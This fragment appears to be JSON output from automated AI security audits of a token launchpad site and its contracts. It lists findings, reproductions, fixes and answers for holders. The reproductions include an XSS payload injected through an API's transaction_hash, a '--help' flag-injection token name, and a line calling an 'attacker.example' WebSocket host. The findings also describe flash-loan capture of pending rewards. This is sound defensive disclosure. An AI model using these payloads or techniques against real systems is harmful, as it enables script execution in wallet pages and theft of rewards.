approve(attacker, max) on IMD or a Permit with an attacker spender) through the already-connected provider; the wallet would still show a prompt, but it would appear to come from pepesfamily.fun. This requires robinhoodchain.blockscout.com (or whatever serves CONFIG.blockscoutApi) to return a malicious body, so it is a defence-in-depth gap, not something a token creator or URL can trigger: creator-controlled name/symbol/description/links were all found to pass through esc()/safeUrl()/ipfsPath(), and #/t/<addr> and #/rewards/<addr> are gated by ethers.isAddress. Fix: validate before use, e.g. in fetchTradeLogs keep only items where /^0x[0-9a-fA-F]{64}$/.test(i.transaction_hash), and/or write esc(t.hash); longer term move the inline script to a file (or use a hash/nonce) so 'unsafe-inline' can be dropped, tighten connect-src to the RPC, Blockscout and IPFS gateway hosts actually used, and drop the http://127.0.0.1:8545 / http://localhost:8545 entries from production.","line":1662,"path":"web/index.html","reproduction":"Input: open https://pepesfamily.fun/#/t/0xE2C46c7068566740A33A4C93f5445B07BCfE5644 while GET {blockscoutApi}/addresses/<pad>/logs?topic=<token topic> returns one item whose topics/data are a valid Trade log for that token (copy any real one) but with \"transaction_hash\": \"x\\\"><img src=x onerror=\\\"alert(document.domain)\\\">\". Trace: fetchTradeLogs filter passes (topics[0] == Trade topic, topics[1] == token) -> hash = that string -> loadTrades builds `<a href=\"https://robinhoodchain.blockscout.com/tx/x\"><img src=x onerror=\"alert(document.domain)\">\" ...>` -> innerHTML -> image load fails -> onerror runs (allowed by 'unsafe-inline'). Expected: the value is rejected or rendered as inert text/attribute. Actual: attacker-supplied JavaScript executes in the pepesfamily.fun origin with access to the connected wallet provider.","severity":"low","snippet":"    <td><a href=\"${CONFIG.explorer}/tx/${t.hash}\" target=\"_blank\" rel=\"noopener\">↗</a></td></tr>`).join(\"\")","title":"Trade table writes Blockscout's transaction_hash into innerHTML unescaped; with script-src 'unsafe-inline' a bad API response runs script in the wallet-connected page"},{"citation":"resolved","description":"Periphery (unvalidated input in a helper). name, symbol and metadata are written by whoever launches a token (1-32 / 1-12 bytes, any characters) and are passed positionally to `cast abi-encode` with no `--` separator, so a value beginning with '-' is parsed by cast as an option instead of a string. The constructor args are then wrong (or are cast's help text), `forge verify-contract` fails, and because the Sourcify check keeps failing the token is retried and fails again on every 15-minute run. Impact is limited to that token staying unverified (scanners show it as closed source) plus wasted CI minutes. It does NOT let anyone modify the repository or leak secrets: the workflow has `permissions: contents: read`, references no secrets, and the injected text only reaches cast/forge as an option name, never a shell (all expansions are quoted). cast abi-encode exposes no option that writes files or makes requests. Fix: put `--` before the values (`cast abi-encode \"f(...)\" -- \"$name\" \"$symbol\" ...`), and consider pinning actions/checkout and foundry-rs/foundry-toolchain to commit SHAs.","line":40,"path":"contracts/script/verify-tokens.sh","reproduction":"Input: launch a token with name \"--help\" (6 bytes, accepted by _launch) or \"--packed\". Run locally: `cast abi-encode \"f(string,string,string,address,address,address,address)\" \"--help\" S {} 0x0000000000000000000000000000000000000000 0x0000000000000000000000000000000000000001 0x0000000000000000000000000000000000000001 0x0000000000000000000000000000000000000001`. Expected: 0x-prefixed ABI encoding whose first string is \"--help\". Actual: cast prints its usage text (\"ABI encode the given function argument, excluding the selector ...\") and exits 0, so $args is the help text and both forge verify-contract calls fail ('sourcify failed' / 'blockscout skipped'); with \"--packed\" cast instead exits 1 with \"encode length mismatch: expected 7 types, got 6\", $args is empty and verification fails the same way. A name of \"-x\" by contrast encodes correctly, so only names matching a real cast option are affected.","severity":"info","snippet":"    args=$(cast abi-encode \"f(string,string,string,address,address,address,address)\" \\","title":"verify-tokens.sh passes creator-chosen name/symbol to `cast abi-encode` as bare arguments: a token named like a flag is never source-verified"}],"hash":"d214358b6d8b5827af05a8a1ebd4dec2588ba511bfba4b013c816020642cce02","nodeId":"3195b3a1-06d6-44ce-b94a-b2fe9480c92b","outcome":"completed","summary":"The review is complete and `.imd-findings.json` holds three findings; no repository files were changed. None of them lets the site or the contracts take tokens, ETH or IMD out of a holder's wallet.\n\n## Answer for holders\n\n**Can connecting or claiming drain a wallet? No.**\n\n- **Connect** only asks for the account and a network switch or add. It requests no signature and no approval.\n- **Claim** sends `claim()` with 0 ETH to the token contract. It grants no approval, pays only the address that signed, and does not move the caller's tokens.\n- **v1 router exemption** is safe. The v1 router only ever pulls tokens from whoever called it, in `sell`, so no user can move another user's tokens. I checked this against the v1 source at commit `a549093`.\n- **Routers** hold no funds between transactions and only spend the caller's assets. A leftover approval or permit can only be used by the same user through the router.\n- **Owner** can change the fee recipient and the start price for future launches. It cannot touch balances, pools or rewards.\n\nOne caveat on rewards, not wallets: on v1 and v2 tokens, rewards that have not yet been distributed can be captured by someone else (finding 1). Rewards already credited to a holder cannot.\n\n## Findings\n\n1. **Medium — v1/v2 pending rewards can be captured by a flash-borrower** (`contracts/src/v1/PadTokenV1.sol:148`, also `v2/PadTokenV2.sol:199`).\n   - Inside a PoolManager unlock, anyone can borrow the pool's tokens, call `claim()`, and return them.\n   - Example: with 1 unit of quote pending and real holders owning 20% of supply, the borrower receives 80% of it for gas only.\n   - This is already documented in `AUDIT.md` and fixed in v3. v1 and v2 are immutable, and Pepes is v1.\n   - Mitigation: call `flush(token)` from a normal transaction on a schedule, and steer volume to v3.\n\n2. **Low — the trade table writes Blockscout's `transaction_hash` into the page unescaped** (`web/index.html:1662`).\n   - Because the page allows inline scripts, a malicious or compromised Blockscout response would run script on the wallet-connected page.\n   - A token creator or a URL cannot trigger it; names, symbols, descriptions and links are all escaped, and URL addresses are validated.\n   - Fix: check the hash is `0x` plus 64 hex characters, or escape it. Longer term, drop `'unsafe-inline'` and narrow `connect-src`.\n\n3. **Info — `verify-tokens.sh` passes creator-chosen names to `cast` as bare arguments** (`contracts/script/verify-tokens.sh:40`).\n   - A token named `--help` makes `cast` print its help text, so that token is never source-verified. I ran this locally.\n   - The workflow cannot modify the repository or leak secrets: it has read-only permission and uses no secrets.\n   - Fix: add `--` before the values.\n\n## What a holder should see in the wallet\n\n| Action | Wallet prompt |\n| --- | --- |\n| Connect | Account access, then switch to or add Robinhood Chain (4663). No signature. |\n| Claim | One transaction, `claim()` to the token contract, 0 ETH. |\n| Buy with ETH | One transaction to the router, value equal to the amount typed. |\n| Buy with IMD | `approve(router, exact amount)` on IMD if needed, then `buy` with 0 ETH. |\n| Sell (v2/v3) | A Permit signature for the router, exact amount, 10-minute deadline, then `sellWithPermit` (ETH-router sells: `sellForEthWithPermit`). If the wallet cannot sign typed data, an exact-amount `approve` then `sell`. |\n| Sell (v1, e.g. Pepes) | One `sell` transaction to the v1 router, no approval. Selling for ETH on an IMD pair asks for an exact-amount `approve` to the ETH router first. |\n| Launch | One `launch` transaction, value equal to the initial buy for ETH pairs. |\n\nThe site never requests `eth_sign`, `personal_sign`, `setApprovalForAll`, Permit2 or an unlimited approval.\n\n## Coverage\n\n- **Passes run:** Execution Trace, Periphery and First Principles, over all contracts in `contracts/src/`, `web/index.html`, the workflow and its script.\n- **Not run:** the Foundry test suite, and no ","treeHash":null,"usage":{"cachedInputTokens":1367777,"inputTokens":27,"model":"claude-fable-5-1","outputTokens":30724,"runtime":"claude","turns":17,"wallClockMs":355454}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"2a9662a76cb5f51d","findings":[{"citation":"resolved","description":"fetchTradeLogs() (line 1641) copies `i.transaction_hash` straight out of the Blockscout JSON into `hash`, and loadTrades() interpolates it into an innerHTML template without esc(). Every other dynamic value on the page is either escaped, a checksummed address produced by ethers, or a number; this is the only string from an external service that reaches the DOM raw. The page's CSP allows 'unsafe-inline' (line 6), so an injected inline event handler or <script> runs. The script runs in the same origin as the connected signer and can call signer.sendTransaction / signTypedData, i.e. prompt the user with arbitrary transactions and approvals while the page looks legitimate. Preconditions: the attacker must control the body returned by robinhoodchain.blockscout.com/api/v2 (compromised explorer, a poisoned CDN/cache in front of it, or a hostile network with a trusted CA). This is the trust assumption the brief did not list: the site treats Blockscout output as trusted HTML. The RPC fallback path (line 1652) is not affected because ethers validates the hash type. Fix: `hash: String(i.transaction_hash)` is not enough; render it through esc() (`href=\"${CONFIG.explorer}/tx/${esc(t.hash)}\"`) and, better, validate it with /^0x[0-9a-f]{64}$/i before use so a bad value is dropped rather than rendered. The same validation should be applied to any other field read from the API in future (block_timestamp and index are only used as numbers/keys today).","line":1662,"path":"web/index.html","reproduction":"State: a token page #/t/<token> is open and Blockscout answers /addresses/<pad>/logs?topic=<padded token> with one item whose `transaction_hash` is `\"><img src=x onerror=\"alert(document.domain)\">` and whose topics[0] and topics[1] match the Trade topic and the token (any real Trade log with the hash field rewritten). Expected: the hash is shown as text or the row is dropped. Actual: loadTrades() inserts `<a href=\"https://robinhoodchain.blockscout.com/tx/\"><img src=x onerror=\"alert(document.domain)\">\" ...>` into #trades, the browser closes the attribute at the injected quote and executes the inline handler. Verified by reading the code path: no esc() on line 1662 and 'unsafe-inline' on line 6; the same payload is blocked by the fallback path on line 1652 where ethers returns a validated 0x-hash.","severity":"low","snippet":"    <td><a href=\"${CONFIG.explorer}/tx/${t.hash}\" target=\"_blank\" rel=\"noopener\">↗</a></td></tr>`).join(\"\")","title":"Trade history renders Blockscout's transaction_hash unescaped into HTML; with script-src 'unsafe-inline' a spoofed or compromised API response becomes script execution in the wallet-connected page"},{"citation":"resolved","description":"The audit request describes the policy as `connect-src https:` and says there are no other external resources besides ethers from cdnjs. The shipped header allows `wss:` to any host and plaintext `http://127.0.0.1:8545` / `http://localhost:8545` (development leftovers), and the page also pulls a stylesheet from fonts.googleapis.com and font files from fonts.gstatic.com, with `style-src 'unsafe-inline'`. None of this lets a third party sign for the user: the connect/quote/transaction code only ever talks to the hard-coded CONFIG endpoints and the wallet. But the inventory holders are told to verify is wrong, and two of the allowances are unnecessary for production: a compromised Google Fonts origin can inject CSS that overlays or rewrites visible text (for example the 'You receive' preview or the amount next to a Claim button) even though the wallet prompt itself stays truthful, and the localhost rule means any page-side script that is ever injected (see the XSS finding) may talk to a local node without CORS complaint. Fix: remove `wss:` and the two localhost entries from the production CSP (keep them in a local dev copy if needed), self-host the IBM Plex Mono files so style-src and font-src can be 'self', and update the public description to match the header exactly (vercel.json adds frame-ancestors 'none', HSTS, nosniff and no-referrer, which were verified correct).","line":6,"path":"web/index.html","reproduction":"Input: load https://pepesfamily.fun and read the delivered <meta http-equiv=\"Content-Security-Policy\"> (line 6). Expected per the brief: connect-src https: only and no external origin other than cdnjs.cloudflare.com. Actual: connect-src `https: wss: http://127.0.0.1:8545 http://localhost:8545`; line 13-14 preconnect and load https://fonts.googleapis.com/css2?family=IBM+Plex+Mono; the stylesheet in turn loads https://fonts.gstatic.com font files. A `fetch('http://localhost:8545')` or `new WebSocket('wss://attacker.example')` from page context is permitted by this policy, whereas the documented policy would block both.","severity":"info","snippet":"<meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'none'; script-src 'unsafe-inline' https://cdnjs.cloudflare.com; style-src 'unsafe-inline' https://fonts.googleapis.com; font-src https://fonts.gstatic.com; img-src 'self' https: data:; connect-src https: wss: http://127.0.0.1:8545 http://localhost:8545; base-uri 'none'; form-action 'none'; object-src 'none'\" />","title":"Content Security Policy and third-party inventory are broader than the brief states: connect-src also allows wss: and plaintext localhost:8545, and the page loads CSS and fonts from Google"}],"hash":"eea8e9b3724535500f0a740ec5192c977d0866577b0a8ef7e437725ab36cce51","nodeId":"e0defaa0-42c4-4f43-bb05-dabbcdd47423","outcome":"completed","summary":"Review complete. The findings file holds two substantiated web findings and no contract defects.\n\n**Plain-language answer for holders: No.** Connecting asks only for your address and the chain switch, never a signature. Claiming sends one transaction, `claim()` with 0 ETH, to the token contract itself. That function pays only the wallet that signed, moves no tokens, and takes no approval. Nothing on the site or in the contracts can pull funds beyond the single exact-amount approval or permit you see when you sell or buy with IMD, and only you can use that allowance because every router pulls solely from its own caller. The owner cannot touch balances, rewards, or liquidity in any version.\n\n**What I checked in depth (Economic Security, Invariant, Flow Gap passes).** I traced every value path in the v3 hook, token, both routers and the v1 and v2 tokens, plus the v1 router at commit a549093. Beyond reading, I ran a randomized harness of buys, sells, third-party exact-in and exact-out swaps, flushes, claims and transfers for 150 runs of 40 steps each, asserting after every step that supply is conserved, eligible supply equals the sum of non-excluded balances, claimable rewards never exceed what the token holds, claims never exceed distributions, and the launchpad's ERC-6909 claims exactly back its pending fees. All held. Targeted probes confirmed the claim guard blocks re-entry globally, a seller re-entering the router's own unlock through the ETH payout cannot force a distribution while holding borrowed pool tokens, and a flash loan of PadTokens from a third-party source only captures what the lending contract itself would have been credited, so real holders lose nothing. The two known items, pending-fee capture on v1 and v2 tokens and the 4 percent-of-requested fee on partially filled third-party swaps, remain as the requester documented them.\n\n**Findings**\n\n- **Low, web/index.html:1662.** The trade table inserts Blockscout's `transaction_hash` into HTML without escaping. With `'unsafe-inline'` in the CSP, a spoofed or compromised explorer response such as `\"><img src=x onerror=...>` runs script in the wallet-connected page and can prompt the user with arbitrary transactions. Fix: validate the hash against `^0x[0-9a-f]{64}$` and escape it.\n- **Info, web/index.html:6.** The shipped CSP also allows `wss:` and plaintext localhost:8545, and the page loads CSS and fonts from Google, so the inventory in the brief is incomplete. Fix: drop the dev entries, self-host the font, and publish the exact header.\n\n**What a holder should see in the wallet**\n\n| Action | Wallet request | Goes to | Amount |\n|---|---|---|---|\n| Connect | account request, chain switch or add | none | none, no signature |\n| Claim | `claim()` | the token contract | 0 ETH |\n| Buy with ETH | `buy` or `buyWithEth` | hard-coded router | ETH value equals the typed amount |\n| Buy with IMD | `approve` then `buy` | IMD, then router | exact amount, never unlimited |\n| Sell v2 or v3 | typed-data Permit, fallback `approve` | spender is the hard-coded router | exact amount, 10-minute deadline |\n| Sell v1 | `sell` | v1 router | no approval |\n| Launch | optional IMD `approve`, then `launch` | router | ETH value equals the initial buy |\n| Admin | `collectProtocolFees`, `flush`, `distribute` | launchpad or token | 0 ETH, funds go only to the fee address or holders |\n\n**Repository and deployment.** The workflow has read-only contents permission, uses no secrets, and passes chain strings only as quoted arguments. Both submodules are pinned. The live site deploys from main, so anyone with push rights changes it instantly. Enable branch protection with required review, require signed commits and 2FA, and restrict the Vercel production branch and team membership.\n\n**Not covered.** Fork tests against live chain state were skipped because this environment has no network, and no stateful invariant fuzzing beyond my 150-run harness was run.","treeHash":null,"usage":{"cachedInputTokens":3599964,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":61194,"runtime":"claude","turns":46,"wallClockMs":843201}}],"verification":[]}